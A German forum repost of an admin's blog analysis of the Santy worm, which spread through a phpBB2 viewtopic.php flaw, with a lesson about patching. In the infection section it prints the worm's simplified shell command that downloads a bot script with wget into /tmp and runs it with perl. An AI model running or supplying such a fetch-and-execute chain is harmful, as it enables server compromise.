Santy Wurm

    Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

    • Quelle: http://www.thegeek.de/blog/index.php?type=...502#prispevek59
      Autor: Marc Schieferdecker

      Wichtige Informationen zum Santy Wurm und seinen Varianten
      Vielleicht haben es schon Einige mitbekommen, vielleicht wissen es auch schon die Meisten, aber derzeit geht ein recht interessant gemachter Wurm mit der Bezeichnung "Santy" rum. Drei Varianten und verschiedene Modifikationen wurden bisher gesichtet.
      Ich hatte die einmalige Gelegenheit den Wurm in Aktion zu erleben und konnte ihn dabei recht gut analysieren.
      Jedoch erst mal ein wenig Geschichte:
      Verschiedene Umstände habe den Wurm erst möglich gemacht. Zuerst einmal ist da der Umstand, das das temporäre Verzeichnis "/tmp" unter Linux für den Webserver und seine Komponenten (PHP) in der Regel beschreibbar ist. Ist ja auch logisch, schließlich werden dort hochgeladenen Dateien temporär abgelegt, Sessions gespeichert und weiteres. Dann ist da noch der Umstand, dass in dem beliebten Foren-System "phpBB2" im (ich glaube) Dezember 2004 eine kritische Sicherheitslücke in der "viewtopic.php" entdeckt wurde, durch die es möglich war Shell-Befehle auf dem Server auszuführen.
      Natürlich macht eine Sicherheitslücke noch lange keinen Wurm, ein Wurm entsteht erst dann, wenn man es schafft, dass sich ein Programm selbstständig ohne weiteres Zutun des Programmierers weiter verbreitet. Hierzu hat man sich ganz simpel einer beliebten Suchmaschine bedient, nämlich Google (später dann Yahoo, da Google die Anfragen inzwischen blockt), um ungepatchte [coderwiki]Informationen/phpBB[/coderwiki]2 Versionen (Version <= 2.0.10) zu finden und sich über die "viewtopic.php" auf dem Server zu installieren. Tja, eigentlich ziemlich simpel - aber verdammt effektiv.

      Was diesen Wurm speziell allerdings erst möglich gemacht hat, ist der Umstand das so viele ungepatchte phpBB2 Versionen im Internet rumliegen, weil die Admins von dem Problem möglicherweise gar nichts wussten, oder sich der Folgen nicht bewusst waren und deswegen den Patch nicht eingespielt haben - was übrigens nur 2 Minuten Arbeit ist, denn lediglich eine Zeile in der "viewtopic.php" muss geändert werden. Oder es war überhaupt nicht bekannt, dass auf dem betreuten Server ein phpBB2 läuft, weil ein Kunde es installiert hat. Ich denke daraus muss man lernen, denn der Wurm erzeugt wirklich eine Menge Traffic (ca. 15-20 GB am Tag, bei einer 100 Mbit Anbindung) durch seine ständigen Weiterverbreitungsversuche und Bandbreite kostet Geld, das ist nun mal so.

      Also wie funktioniert der Santy [coderwiki]Informationen/Wurm[/coderwiki] und seine Mutationen?
      Bei jedem Wurm gibt es natürliche eine Generation 1 - dazu haben die Wurm-Coder einen Server von Hand über die phpBB2 Sicherheitslücke gehackt und einige Dateien, genauer gesagt die Download-Version des Wurms eingeschleust. Um einen Zeitvorteil zu haben, geschah dies am Freitag Abend. Der Admin des Servers war zu diesem Zeitpunkt nämlich schon im Wochenende und somit erst mal außer Reichweite. Nun lag der Wurm also zum Download auf diesem Server bereit (Perlscripte und das Programm ircoffer). Danach suchten sich die Hacker vermutlich einen anderen ungepatchten Server und entfesselten auf diesem den Wurm der ersten Generation.

      Wie ging es weiter?
      Der Wurm der ersten Generation (ein ziemlich einfaches aber effektives Perlscript), machte nichts anderes als über eine Suchmaschine nach potentiellen Opfern zu suchen und diese ebenfalls mit dem Wurm zu infizieren. Damit war Generation 2 geboren. Die Generation 2 suchte nun ebenfalls nach potentiellen Opfern und erschuf Generation 3. Und so weiter und so fort. Ein Wurm eben.
      Ich habe übrigens Generation 11 einer Abart des Wurms beobachten können. Rechnen wir doch einfach mal ein wenig. Nehmen wir an, dass jeder einzelne [coderwiki]Informationen/Wurm[/coderwiki] nur 4 weitere Server infiziert:
      Generation 1 - 1 Server
      Generation 2 - 4 Server
      Generation 3 - 16 Server
      Generation 4 - 64 Server
      Generation 5 - 256 Server
      Generation 6 - 1024 Server
      Generation 7 - 4096 Server
      Generation 8 - 16384 Server
      Generation 9 - 65535 Server
      Generation 10 - 262144 Server
      Generation 11 - 1048576 Server

      Natürlich ist das nur ein Rechenbeispiel und wie in der Mathematik so oft geht es total an der Realität vorbei (*g*). In der Realität ist es so, dass sich einige einzelne Würmer nicht weiterverbreiten, weil sie auf ein System treffen, dass bereits infiziert ist, was damit zusammenhängt, dass die Würmer auf dieselbe Suchmaschine zugreifen und die Zeit bis zu einer Neuinfektion mit jeder Generation wächst, wenn die potentiellen Opfer immer wieder nach der Reihe abgearbeitet werden. Sollte der Wurm die potentiellen Opfer allerdings nach Zufallssortierung angreifen, sieht es wieder anders aus.

      Wie läuft eine Infizierung ab?
      Nehmen wir an, der Wurm hat ein potentielles Opfer gefunden, so nutzt er die bekannte Sicherheitslücke zum ausführen von Shell-Code aus. Der [coderwiki]Informationen/Shell[/coderwiki]-Code sieht in etwas (je nach Variante, hier vereinfacht dargestellt) so aus:
      cd /tmp
      wget http://www.gehackterserver.de/verzeichnis/bot.txt
      perl bot.txt

      Hier passiert also folgendes: Zuerst wird ins TMP-Verzeichnis gewechselt, da es beschreibbar ist. Dann wird der Wurm mit Hilfe von "wget" ein kleinen Linux-Proggie, das den download von Dateien aus dem Internet ermöglicht und meist standardmäßig installiert ist, heruntergeladen und mit perl ausgeführt.

      Die Variante die ich beobachtet habe, lud sogar 2 PERL-Scripte und zusätzlich noch ircoffer und verschiedene PERL-Libarys herunter. Außerdem wurde ein Defacement durchgeführt. Hübsches Ding.
      Ich denke die Funktionsweise eines solchen Wurms ist nun klar. Und ich denke auch, wir sind noch verdammt glimpflich davon gekommen. Es hätte auch viel schlimmer kommen können. Ein wenig Defacement, ein paar GB mehr, aber sonst nichts wirklich tragisches.

      Was dabei allerdings hängen bleibt: Wir müssen uns um Sicherheit bemühen, am Ball bleiben, einschlägige Seiten (www.k-otik.com ist eine gute Adresse) lesen und nicht denken, "Hey das ist Linux und nicht Windows!". Viren und Würmer sind Betriebssystem unabhängig, denn sie sind immer auf das jeweilige Betriebssystem zugeschnitten. Und sind wir manchmal nicht schadenfroh bei Meldungen über Windows Würmer und die Doofuser, die auch noch die ZIP-Datei öffnen und das PIF anklicken?
      Das sollten wir lassen, denn eins ist klar: Der Santy Wurm läuft nur auf Linux/Unix Servern und davon gibt es wesentlich mehr als Server auf Windows Basis. Dieser Wurm ging gezielt gegen [coderwiki]Informationen/LAMP[/coderwiki]. Und kein Doofuser hat irgendein PIF geklickt, sondern die Admins haben ihre Arbeit nicht gemacht. Hier zeigt sich wieder: Egal welches Betriebssystem, ob Server- oder Desktop-PC, letztendlich sitzt ein Mensch davor und der trägt die Verantwortung.

      Vielleicht haben sich einige beim Lesen gefragt, wo ich den Wurm beobachten konnte. Ich will ehrlich sein: Auf diesem Server. Jeden erwischt es irgendwann mal. Aber die Antwort kommt noch, keine Sorge. PHP. People Hate Perl.